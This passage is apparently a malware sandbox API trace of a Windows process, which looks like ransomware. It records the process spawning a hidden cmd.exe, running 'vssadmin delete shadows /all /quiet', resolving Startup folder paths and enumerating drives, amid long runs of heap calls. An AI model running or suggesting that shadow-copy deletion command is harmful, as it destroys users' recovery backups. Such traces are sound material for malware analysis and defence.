lpBuffer=0x2030020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0062.651] ReadFile (in: hFile=0xe4, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0062.651] CloseHandle (hObject=0xe8) returned 1 [0062.654] CloseHandle (hObject=0xe4) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.654] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x605930 [0062.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.654] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x6058e0 [0062.654] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.654] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.654] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0062.654] lstrlenW (lpString="kernel32.dll") returned 12 [0062.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e0 | out: hHeap=0x5d0000) returned 1 [0062.655] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0062.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0062.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x5d0000) returned 1 [0062.673] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60b428 | out: hHeap=0x5d0000) returned 1 [0062.673] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61b430 | out: hHeap=0x5d0000) returned 1 [0062.673] lstrlenW (lpString="%windir%\\System32") returned 17 [0062.673] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6069a8 | out: hHeap=0x5d0000) returned 1 [0062.674] lstrlenW (lpString="%appdata%") returned 9 [0062.674] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4398 | out: hHeap=0x5d0000) returned 1 [0062.674] lstrlenW (lpString="%sh(Startup)%") returned 13 [0062.674] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4370 | out: hHeap=0x5d0000) returned 1 [0062.674] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0062.674] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6069f0 | out: hHeap=0x5d0000) returned 1 [0062.674] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.674] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x5e4370 [0062.674] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4370, Size=0x40) returned 0x6069f0 [0062.674] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6069f0, Size=0x80) returned 0x62b450 [0062.674] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.674] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x5e4370 [0062.674] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1fffc) returned 0x60b428 [0062.674] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d438 [0062.675] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63d440 [0062.675] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.675] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x5e4398 [0062.675] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4398, Size=0x40) returned 0x6069f0 [0062.675] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6069f0, Size=0x80) returned 0x62b4d8 [0062.675] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b4d8, Size=0x100) returned 0x607bb0 [0062.675] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.675] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb0 | out: hHeap=0x5d0000) returned 1 [0062.675] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x62d438, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0062.675] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d440 | out: hHeap=0x5d0000) returned 1 [0062.675] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d438 | out: hHeap=0x5d0000) returned 1 [0062.676] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0062.679] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0062.680] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0062.680] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0062.682] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x600, dwThreadId=0x5c4)) returned 1 [0063.442] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0063.442] WriteFile (in: hFile=0xec, lpBuffer=0x62b450*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x62b450*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0063.442] CloseHandle (hObject=0xfc) returned 1 [0063.442] CloseHandle (hObject=0xf8) returned 1 [0063.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60b428 | out: hHeap=0x5d0000) returned 1 [0063.442] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0063.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b450 | out: hHeap=0x5d0000) returned 1 [0063.443] lstrlenW (lpString="%comspec%") returned 9 [0063.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4370 | out: hHeap=0x5d0000) returned 1 [0063.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0063.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604a30 [0063.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x604a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0063.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e47a8 [0063.446] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5e47a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0063.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a48 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a48, Size=0x20) returned 0x5e4370 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4370, Size=0x40) returned 0x6069f0 [0063.448] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0063.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x607c28 [0063.448] GetLogicalDrives () returned 0x4 [0063.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10014) returned 0x60b428 [0063.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a48 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a48, Size=0x20) returned 0x5e4370 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4370, Size=0x40) returned 0x606a80 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a80, Size=0x80) returned 0x62b450 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x609198 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x200) returned 0x609198 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x400) returned 0x609198 [0063.448] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x800) returned 0x6097b0 [0063.449] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6097b0, Size=0x1000) returned 0x61b448 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x62d438 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a48 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604b20 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4750 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604b38 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4760 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b50 [0063.449] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4760, Size=0x8) returned 0x5e4760 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b68 [0063.449] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4760, Size=0x10) returned 0x5e4718 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b80 [0063.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604b98 [0063.449] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4718, Size=0x20) returned 0x607ab0 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604bb0 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4760 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604bc8 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604be0 [0063.450] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x607ab0, Size=0x40) returned 0x6052d8 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604bf8 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c10 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c28 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x604c40 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604c58 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604c70 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x605320 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604c88 [0063.450] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6052d8, Size=0x80) returned 0x609198 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604ca0 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604cb8 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604cd0 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604ce8 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6097c8 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6097e0 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6097f8 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4718 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609810 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609828 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609840 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609858 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609870 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609888 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6098a0 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6098b8 [0063.451] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x100) returned 0x609198 [0063.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6098d0 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6098e8 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609900 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x609918 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609930 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609948 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4728 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609960 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609978 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609990 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x607ab0 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099a8 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099c0 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x607ac0 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099d8 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6099f0 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609a08 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a20 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a38 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a50 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x609a68 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609a80 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x609a98 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ab0 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ac8 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ae0 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609af8 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x607ad0 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b10 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b28 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b40 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b58 [0063.453] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x200) returned 0x609198 [0063.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b70 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x6052d8 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609b88 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609bc8 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609be0 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609bf8 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c10 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c28 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c40 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c58 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609c70 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609c88 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609ca0 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609cb8 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609cd0 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609ce8 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609d00 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d18 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609d30 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609d48 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d60 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d78 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609d90 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x6052e8 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609da8 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609dc0 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609dd8 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x609fc8 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609df0 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609e08 [0063.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e20 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e38 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e50 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e68 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e80 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609e98 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609eb0 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609ec8 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ee0 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609ef8 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f10 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x609f28 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f40 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f58 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f70 [0063.456] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x609f88 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c468 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c480 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c498 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x609fd8 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x609fe8 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4b0 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4c8 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4e0 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c4f8 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c510 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c528 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c540 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c558 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c570 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c588 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c5a0 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c5b8 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c5d0 [0063.458] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609198, Size=0x400) returned 0x609198 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c5e8 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c600 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c618 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c630 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c648 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c660 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c678 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c690 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c6a8 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c6c0 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x609ff8 [0063.458] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c6d8 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61c6f0 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c708 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c720 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c738 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c750 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x61c768 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c780 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c798 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7b0 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7c8 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7e0 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c7f8 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c810 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c828 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60a008 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c868 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c880 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x61c898 [0063.460] RtlAllocateHeap (HeapHandle=0x5d0000, 